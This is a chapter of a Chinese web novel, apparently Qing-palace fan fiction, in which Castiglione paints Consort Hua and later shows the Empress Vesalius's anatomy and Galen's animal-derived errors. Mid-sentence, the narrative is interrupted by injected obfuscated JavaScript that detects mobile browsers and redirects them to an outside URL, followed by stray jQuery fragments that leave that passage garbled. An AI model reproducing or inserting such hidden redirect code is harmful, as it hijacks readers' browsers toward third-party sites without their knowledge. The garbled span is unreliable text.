圆明园的午后，草木初萌，空气中浮动着淡淡的泥土与新生枝叶的气息。我信步走在福海西岸，本想借这园中开阔疏朗之气，驱散连日来关于吏治、医疗、乃至那令人心头沉甸甸的王清任之事带来的郁结。目光所及，却见前方临水的“坦坦荡荡”敞轩前，摆开了画架，郎世宁神父正专注地挥笔，而他对面亭亭玉立的，是一身绯红宫装、明艳照人的华妃年世兰。


    华妃显然在让人画像。她姿态摆得极好，下颌微扬，带着她一贯的骄矜，阳光洒在她缀满珠翠的鬓发与华丽的衣饰上，熠熠生辉。郎世宁则全神贯注，时而抬头端详，时而低头涂抹，手中那支细小的画笔在调色盘与画布间飞快移动。


    我示意身后跟着的剪秋等人放轻脚步，自己则悄然走近了些，停在数步之外的一株海棠树下，并未出声打扰。华妃眼尖，已瞧见我，眼波微动，似要起身。我轻轻摆了摆手，示意她继续，不必行礼。郎世宁也察觉了，略一颔首致意，便又沉浸到他的绘画世界中去了。我今日并无他事，纯粹散心，便静静站在一旁，看着这位西洋画师如何描绘我大清的妃嫔。


    时间在画笔的沙沙声中流逝。约莫过了一个多时辰，郎世宁终于放下笔，后退两步，仔细端详着自己的作品，又上前做了最后几处细微的调整，方才长舒一口气，表示完成。


    华妃早已坐得有些僵了，见状立刻起身，活动了一下脖颈，也好奇地凑过去看。我也缓步上前。


    画布上，华妃的容颜栩栩如生。并非中式工笔的写意与勾勒，而是极其逼真、仿佛将活生生的人拓印了上去。光影在她脸颊上自然过渡，眼眸清澈透亮，甚至能看见瞳孔中映出的些许环境反光，嘴唇的丰润色泽，脸颊上极淡的、几乎看不见的绒毛，发丝的分缕与光泽，衣料上繁复刺绣的立体感与纹理……一切都那么真实，真实得让人有些恍惚。


    我的目光在画布与真实的华妃之间来回移动，带着一种难以言喻的探究与惊讶。华妃本人看着画，先是怔了怔，随即也露出了难以置信的表情，她摸了摸自己的脸，又看看画，喃喃道：“这……这也太像了……” 她转向我，语气里没了平日的骄横，只剩下纯粹的惊奇，“皇后娘娘，您瞧，这画得…… 比宫里那些最好的工笔画师画的，还要像本人！ 就像是…… 像是用镜子照出来的一般，不，比镜子照的还清楚，还…… 还实在！”


    “确实像得惊人。” 我点头赞同，目光却投向了正在收拾画具的郎世宁，“郎世宁先生，你这画技，实在令人叹为观止。我朝工笔画亦重形似，纤毫毕现，然与你所绘相较，总觉得…… 缺了点什么，以至于形似而神未尽，更难有此等扑面而来的‘实在’之感。你究竟是如何做到的？可是全凭那‘透视’之法？”


    郎世宁闻言，停下手中的动作，他那双深陷的蓝眼睛里闪烁着属于学者与艺术家的光芒，他微微躬身，用已颇为流利的官话答道：“回皇后娘娘，透视之法，确有助于在平面上营造立体纵深之错觉，然欲将人物画得如此‘实在’，仅靠透视，是远远不够的。这背后，其实还关乎另一门学问。若娘娘有兴趣，今晚臣可将一些相关的书籍与图册呈送娘娘阅览，或可稍作解说。那或许能解答娘娘的部分疑惑。”


    另一门学问？我心中一动，隐约觉得这可能与近日困扰我们的某些问题，有着奇妙的关联。“好，那便有劳先生了。今晚酉时三刻，本宫在‘九州清晏’的书房相候。”


    “臣遵命。” 郎世宁恭敬应下。


    是夜，九州清晏的书房内灯火通明。郎世宁如约而至，手中捧着一个看似颇为沉重的锦缎包袱。行礼后，他将包袱放在我面前的书案上，解开系带，里面是两本装帧精美、但显然年代已久、边缘有些磨损的大部头书籍，还有一卷卷起的羊皮图纸。


    “娘娘，这便是臣白日所言，关乎如何能将人物画得‘实在’的另一门关键学问。” 郎世宁说着，小心翼翼地将最上面那本厚重的书籍翻开。书页是坚韧的羊皮纸，上面印着清晰的拉丁文字，而最引人注目的，是那一幅幅极其精细、甚至可称得上惊心动魄的铜版画插图。


    我凝目看去，呼吸不由得一滞。那插图上描绘的，赫然是被层层剖开的人体！肌肉、筋腱、骨骼、内脏、血管……一切都被以惊人的准确与细致呈现出来，旁边配有详细的标注线和解说文字。这不是什么怪诞的想象，而是一种冷静到近乎冷酷的、对血肉之躯内部结构的客观展示。


    “这是……” 我听见自己的声音有些发干。


    “《人体的构造》，作者是百余年前，佛逻棱萨的安德烈·维萨里。” 郎世宁的声音平静，却带着对知识与先驱者的敬意，“想将人画得像，画得‘实在’，必须了解皮肤之下，血肉筋骨是如何生长、如何连接、如何运作的。骨头如何支撑，肌肉如何牵引，关节如何转动…… 了解了这些，笔下的人体才会有内在的合理性，有真实的体积与重量感，而非仅仅是一张浮于表面的皮相。贵国的工笔画，技艺精湛，于线条、色彩、意境上登峰造极，然对于皮囊之下的肌肉、骨骼、关节的深入认知与表现，的确…… 有所欠缺。画得‘不像’，或流于程式，实属正常。”


    我缓缓翻动着书页，目光掠过那些描绘着颅骨、脊柱、手臂肌肉、胸腔内脏的图画，心中的震撼难以言表。这已不仅是“像”与“不像”的绘画技巧问题，这是一种截然不同的、深入事物内部去探究其根本构成的思维方式！难怪郎世宁的画，有一种工笔画难以企及的“实在”与“力量”感，原来他笔下的人，是建立在对其内部结构了然于胸的基础之上！


    “这位维萨里先生，为了著成此书，想必…… 没少吃苦头吧？” 我抬起眼，看向郎世宁，脑海中却不由自主地浮现出白日里沈自山提到的、那个徘徊在刑场边的王清任。两者之间，似乎有某种遥远而凄厉的共鸣。


    郎世宁的脸上露出了复杂的神色，有敬佩，也有一丝叹息：“娘娘明鉴。维萨里为了能亲自解剖、观察人体结构，确曾历经艰险，多次游走于律法与道德的边缘。他曾扮作盗墓贼，在深夜潜入墓地；也曾贿赂狱卒，盗取绞刑架上尚未被乌鸦啄食殆尽的海盗尸体；甚至因此被指控使用活人进行解剖（纯粹诬告），数次面临宗教裁判所的调查与威胁。没有这般近乎执拗的、甘冒大险的实证精神，便不可能有此书问世，也不可能从根本上纠正流传千年的诸多谬误。”


    “纠错？” 我敏锐地捕捉到这个关键词，心中那根弦被猛地拨动。


    “正是，纠错。” 郎世宁肯定道，又从包袱里取出另一本看起来更为古旧的书籍，放在维萨里著作的旁边。“在维萨里之前数百年，乃至上千年，欧洲的医学，尤其是解剖学知识，主要依据的是古罗马时期盖伦的学说。盖伦是位伟大的医生，但他的著作中关于人体构造的描述，有许多…… 古怪甚至明显错误之处。”


    他翻开那本盖伦的著作，指着其中一些插图和解说：“娘娘您看，有些描述，比如肝脏的形状，心脏的结构，下颌骨的块数…… 甚至不需要像维萨里那样去盗墓解剖，只要有心的医生，在治疗外伤、或观察


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213225|193341||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    骨骼时稍加留意，便能发现与盖伦所言不符。可为何千百年来，无人敢公开、系统地指出并纠正？盖伦的著作，一直被奉为圭臬？”


    这正是我最大的疑惑！“既然肉眼就能看出不对劲，为何无人质疑？这位盖伦，当初又是依据什么写下这些内容的？难道他是有意欺瞒后人？”


    郎世宁摇了摇头，语气中带着一种理解历史的深沉：“盖伦并非欺瞒。问题在于他所处的时代——古罗马。在那个时代，对尸体的态度，远比今日的欧洲，甚至比贵国，还要严苛得多。解剖人体，尤其是系统性的解剖研究，是被严格禁止的，被视为对死者的极大亵渎，会遭到最严厉的惩处。盖伦身为御医，更需谨言慎行。他无法像维萨里那样去获取人体进行解剖。那么，他的解剖学知识从何而来？*”


    他顿了顿，给出了那个令人愕然却又在情理之中的答案：“他只能退而求其次，大量解剖动物——主要是猿猴，以及猪、狗等。他将从动物身上观察到的器官形态、肌肉走向、骨骼连接，加以修改、推演，然后…… 便写成了‘人’的解剖学。书中那些看起来古怪或错误的地方，往往便是直接将动物的特征，安在了人的身上，或是根据动物结构进行的错误推测。由于缺乏人体实证的对照，加之其权威地位，这些谬误便被一代代抄写、传承，奉为经典，禁锢了医学数百年。直到维萨里这样的人，不惜以身犯险，亲手切开人体，亲眼观察比较，才将这一层层由动物解剖和臆想构筑的谬误之墙，艰难地推翻。”


    书房内一片寂静，只有烛火偶尔的噼啪声。我久久注视着摊开在案上的两本书——盖伦那基于动物推测的、错误百出的“人体”图谱，与维萨里那建立在无数危险实证基础上的、精确冷酷的人体解剖图。这不仅仅是两本书的对比，这是两种获取知识途径的碰撞，是囿于禁忌与成见，与冲破桎梏、直面真实之间的天壤之别！


    王清任在刑场边的徘徊，维萨里在墓地与绞架下的冒险，盖伦在禁令下无奈的“张冠李戴”…… 不同时代，不同地域，医者追求“真实”所面临的困境与付出的代价，竟是如此相似！而最终的根源，似乎都指向了那个最根本的障碍——对“人体”本身进行实证研究的极度艰难与严苛限制。


    “以动物之形，臆测人身…… 因禁令所迫，谬种流传……” 我低声重复着，心中涌起滔天巨浪。这不正是王清任所担忧的吗？医书图谱有误，可能源于绘制者的疏漏，但更可能，是源于像盖伦那样，在根本无法获得真实人体认知的情况下，被迫进行的错误推演与代用！而这样的错误，被一代代医者奉为圭臬，用于治病救人，其后果…… 简直不敢深想！


    郎世宁带来的，不仅仅是一种让绘画更“像”的技艺。他撕开了一道口子，让我瞥见了在医学乃至更广阔的知识领域，追求真理所必须面对的、血腥而残酷的真实战场，以及那横亘在求真之路上的、由伦理、法律、习俗共同筑成的无形高墙。王清任的困境，维萨里的冒险，盖伦的无奈…… 这一切，都在这烛光下，在这两本沉重的书籍中，交织成了一幅令人窒息却又无法回避的图景。


    皇上那句“该怎么给他提供一个安全方式”，此刻听来，是何其沉重，又何其迫切！这已不是如何对待一个“怪人”王清任的问题，而是关乎这个古老的帝国，是否愿意、以及如何为其医学乃至其他需要实证的学问，在重重禁忌中，开辟出一条哪怕狭窄、但至少“安全”的求真之路。这条路，维萨里走得血迹斑斑，盖伦无奈绕行，王清任正在边缘试探。而我们，又当如何？